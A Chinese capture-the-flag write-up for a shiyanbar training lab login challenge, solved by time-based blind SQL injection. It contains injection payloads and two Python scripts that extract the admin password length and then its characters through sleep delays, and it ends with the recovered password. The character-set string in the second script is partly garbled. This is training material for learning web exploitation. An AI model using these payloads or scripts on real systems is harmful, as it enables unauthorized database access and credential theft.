看起来有点难

实验吧——WEB-看起来有点难
用户名:123 密码:123
显示数据库连接失败
实验吧——WEB-看起来有点难
用户名:admin 密码:admin
显示登录失败,错误的用户名和密码

实验吧——WEB-看起来有点难
结合两次输入回显的内容,我们可以猜测用户名应该是admin,而密码暂时还不知道。

然后测试一下sql注入
admin=admin' union select 1,2,3 --+&pass=admin&action=login
发现被过滤了select

实验吧——WEB-看起来有点难
我们再试试admin=admin' and sleep(5) --+&pass=admin&action=login
发现有延迟了,我们可以用时间盲注。

然后开始写脚本,先判断密码的长度

import requests

for i in range(1,10):
    url = "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and case when(length(password)=%s) then sleep(3) else sleep(0) end and ''='&pass=&action=login" %i
    try:
        res = requests.get(url,timeout=3)
    except:
        print "length:%s" %i
        break

最后得到密码长度为8

然后写脚本跑密码:

import requests

str = '[email protected]_.{}*'
flag=''
print "start"
for i in range(1,9):
    for s in str:
        url = "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and case when(substr(password,%s,1)='%s') then sleep(3) else sleep(0) end and ''='&pass=&action=login" %(i,s)
        try:
            res = requests.get(url,timeout=3)
        except:
            flag += s
            print (s)
            break
print('passwd:%s'%flag)

实验吧——WEB-看起来有点难
用户名:admin 密码:idnuenna
实验吧——WEB-看起来有点难

相关文章: